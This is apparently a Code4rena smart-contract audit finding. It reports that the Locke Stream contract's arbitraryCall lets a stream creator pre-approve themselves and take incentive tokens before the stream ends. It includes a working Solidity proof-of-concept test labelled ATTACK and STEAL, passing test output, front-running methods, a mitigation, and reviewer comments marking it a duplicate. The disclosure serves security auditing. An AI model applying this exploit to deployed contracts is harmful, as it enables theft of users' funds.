arbitraryCall enables streamCreator to remove incentive tokens before endStream

[code423n4]

Handle

bitbopper

Vulnerability details

Impact

streamCreator can remove incentive tokens before endStream by calling approve on the token beforehand.

streamCreator has following methods of attack:

• guess from whom and with what he is going to be incentiviced
• listen in the mempool and win PGA in order to get executed before the createIncentive transaction.
• listen in the mempool and use flashbots to get executed before the createIncentive transaction.

Results in premature loss of funds of the Stream contract.

Proof of Concept

Improve LockeTest.sol with:

function doIncentivice(Stream stream, address token, uint112 amount) public {
    write_balanceOf_ts(address(token), address(this), amount);
    ERC20(token).approve(address(stream), amount);
    stream.createIncentive(token, amount);
}

Add following to StreamTest of Locke.t.sol :

    function test_arbCallSteal() public {
        //// SETUP
        (
            uint32 maxDepositLockDuration,
            uint32 maxRewardLockDuration,
            uint32 maxStreamDuration,
            uint32 minStreamDuration
        ) = defaultStreamFactory.streamParams();

        uint64 nextStream = defaultStreamFactory.currStreamId();
        Stream stream = defaultStreamFactory.createStream(
            address(testTokenA),
            address(testTokenB),
            uint32(block.timestamp + 10), 
            maxStreamDuration,
            maxDepositLockDuration,
            0,
            false
            // false,
            // bytes32(0)
        );

        testTokenA.approve(address(stream), type(uint256).max);
        stream.fundStream(1_000_000_000);

        //// BOOKKEEPING
        uint beforeBalance = testTokenC.balanceOf(address(alice));

        //// ATTACK
        uint112 incentiveAmount = 100000;
        stream.arbitraryCall(address(testTokenC), abi.encodeWithSignature("approve(address,uint256)", address(this), incentiveAmount));
        chelsea.doIncentivice(stream, address(testTokenC), incentiveAmount);

        //// STEAL
        testTokenC.transferFrom(address(stream), address(alice), incentiveAmount);

        //// PROOF
        uint afterBalance = testTokenC.balanceOf(address(alice));
        emit log_named_uint("alice gained", afterBalance);
        assert (afterBalance > beforeBalance);
        assert (afterBalance == incentiveAmount);
    }

Output

dapp test --verbosity=2 --match "test_arbCallSteal" 
Running 1 tests for src/test/Locke.t.sol:StreamTest
[PASS] test_arbCallSteal() (gas: 4114944)

Success: test_arbCallSteal

  alice gained: 100000

Tools Used

dapptools

Recommended Mitigation Steps

Ensure incoming amount of incentive token is not greater than the existing allowance for that token from the incentive sender at createIncentive.

[brockelmore]

slightly incorrect - it allows the gov to remove the incentive

[0xean]

dupe of #199